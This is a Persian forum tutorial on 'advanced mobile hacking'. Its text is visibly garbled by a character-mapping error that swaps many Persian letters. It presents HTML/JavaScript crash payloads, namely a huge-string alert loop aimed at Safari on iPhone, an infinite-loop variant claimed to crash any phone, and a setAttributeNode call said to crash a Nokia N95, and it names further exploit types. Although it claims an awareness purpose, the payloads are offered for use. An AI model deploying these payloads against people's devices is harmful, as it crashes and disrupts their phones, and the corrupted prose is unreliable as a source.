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:همذهَ     

خیلی خوغحالن کَ دوضتاى همالات را دًبال ! با ضلام خذهت ُوَ اعضا 

کردًذ و تػکرات فراواًػاى والعا باعث غذ کَ هي ایي تاپیک را با اًرژی 

خوب دوضتاًی کَ همالات لبل رو ًخواًذٍ اًذ ابتذا همالات ! اداهَ دُن 

لبلی را هطالعَ ًوایٌذ ضپص ایي همالَ و همالَ ُای بعذی را هطالعَ 

زیرا از ایي همالَ بَ بعذ وارد  خوب ! ًوایٌذ  Advanced Mobile 

Hacking ! بخع پیػرفتَ در ُک هوبایل هی غوین   

 

 حالا فرق هوبایل ُکیٌگ پیػرفتَ با ابتذایی چیطت ؟

در همالات پیػرفتَ اضتفادٍ از اکطپلویت ُا و ًفور و اهي ضازی رو غروع 

! بٌابرایي ابتذا هفاُین ابتذایی را هطالعَ کٌیذ ضپص ایي همالات ! هیکٌین   

در ایي همالَ دربارٍ اکطپلویت ُا توضیح دادٍ ام و اضتفادٍ از یک کذ را 

!خوب ، درش را از صفحَ بعذ آغاز هی ًوایین ! کاهلا توضیح دادٍ ام   
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 با تػکر از توام دوضتاى در فروم آغیاًَ

 

 

 اکطپلویت هوبایل  چیطت ؟

اکطپلویت در هوبایل ! اکطپلویت هوبایل با اکطپلویت کاهپیوتر فرلی ًذارد 

ُن کذُای هخربی برای ًفور بَ ضیطتن و ضوء اضتفادٍ از ضعف ُای 

اها ُواًطور کَ هی داًیذ اکطپلویت ! اهٌیتی ًرم افسار ُا ًاهیذٍ هی غود 

SQLiُا در کاهپیوتر هذل  ُر اکطپلویتی برای ًوع ! ُای هختلفی دارًذ 

هثل ! باگ هخصوصع ُطت   

:خوب در هورد اًواع اکطپلویت در هوبایل توضیح هی دُین . . . ! و   

 اًواع اکطپلویت هوبایل ؟

اکطپلویت در هوبایل ! اکطپلویت هوبایل با اکطپلویت کاهپیوتر فرلی ًذارد 

ُن کذُای هخربی برای ًفور بَ ضیطتن و ضوء اضتفادٍ از ضعف ُای 

اها ُواًطور کَ هی داًیذ اکطپلویت ! اهٌیتی ًرم افسار ُا ًاهیذٍ هی غود 
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SQLiُا در کاهپیوتر هذل  ُر اکطپلویتی برای ًوع ! ُای هختلفی دارًذ 

هثل ! باگ هخصوصع ُطت   

ُوچٌیي ُر اکطپلویتی هخصوؼ ضیطتن عاهل خاصی هی . . . ! و 

!باغذ   

لابل رکر اضت کَ تعریفی کَ از اکطپلویت برای هوبایل گفتن بایذ کاهلا 

هٌظورم ایي اضت کَ اگر یک کذ هخرب باغذ ولی کوکی بَ ! اجرا غود 

. . .خوب ! ًفور ًکٌذ اضوع اکطپلویت ًیطت و یک کذ هخرب اضت   

در ایي همالَ یک کذ هخرب را برای آغاز کار هطالعَ هی کٌین و در همالات 

. هطالعَ هی غوًذ . . . اکطپلویت ُای حرفَ ای تر و . . . بعذی اًػا ا 

:کذ زیر را ًگاٍ کٌیذ   

<html> 

<body> 

<script> 

var a = ''; 

for (var i = 1; i <= 500000; i++) 

{ 

  a += '\n'; 

} 

alert(a); 

</script> 

</body> 

</html> 

کذ بالا یک صفحَ اچ تی ام ال ُطتع کَ توظ از یَ اضکریپت اضتفادٍ 

خوب کذ هخرب بالا هخصوؼ ضیطتن عاهل آیفوى و آی پاد ! غذٍ اضت 
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کذ بالا از ! هی باغذ  (هرورگر اپل)و برای ًرم افسار ضافاری  (هک)تاچ 

هػکلات ًرم افسار ضافاری ضوء اضتفادٍ کردٍ و توضط اضکریپت باعث 

اگر با اضکریپت ًویطی ! ریبوت غذى و کرظ کردى گوغی هی غود 

!آغٌا باغیذ کذ بطیار ضادٍ فوق را هی تواًیذ هطالعَ کٌیذ   

؟!خوب ، برای کرظ کردى گوغی ُای دیگر بایذ چَ کار کٌین   

کذ زیر بَ صورتی ًوغتَ غذٍ اضت ! هی تواًیذ از کذ زیر اضتفادٍ کٌیذ 

(در صفحَ بعذ)کَ ُوَ گوغی ُا کرظ و ضپص ریبوت خواٌُذ غذ   

 

 

 

 

 

 

 

 

<html> 

<body> 

<script> 

var a=''; 

while(true){ 

   a+='\n'; 

} 

alert(a); 

</script> 

</body> 

</html> 
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اها کذ ُا را با ُن ! خوب کذ فوق ًیس با کذ لبلی فرق چٌذاًی ًذارد 

باز ! با کوی تغییر از ایفوى تبذیل غذ بَ ُوَ گوغی ُا ! همایطَ کٌیذ 

!یک کذ هخرب اضت . ایي اکطپلویت ًیطت ! ُن تکرار هی کٌن   

در زیر چٌذ ! اکطپلویت ُا ًیس بیػتر از طریك ًرم افسار ُا ًفور هی کٌٌذ 

:ًوع اکطپلویت برای هوبایل را ًام بردم   

FTP Service Directory Traversal  

remote overflow reboot PoC 

setAttributeNode 

& … 

:اضتفادٍ هی غود  ( N95 )خوب کذ زیر ًیس برای کرظ کردى ًوکیا   

<input type='checkbox' id='c'> 

<script> 

r=document.getElementById('c'); 

a=r.setAttributeNode(); 

</script> 

 

!؟. . . اها ! کذ ُا خیلی ضادٍ اًذ   
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:با تػکر از   

(هذیراى ، اعضای اًجوي ، ضوپر هذیراى و هذیر کل ُا)! توام اعضای تین آغیاًَ   

 

 

توجَ داغتَ باغیذ کَ ایي همالات فمط برای افسایع آگاُی و بالابردى اهٌیت اًجام 

!ًوغتَ هی غوًذ   
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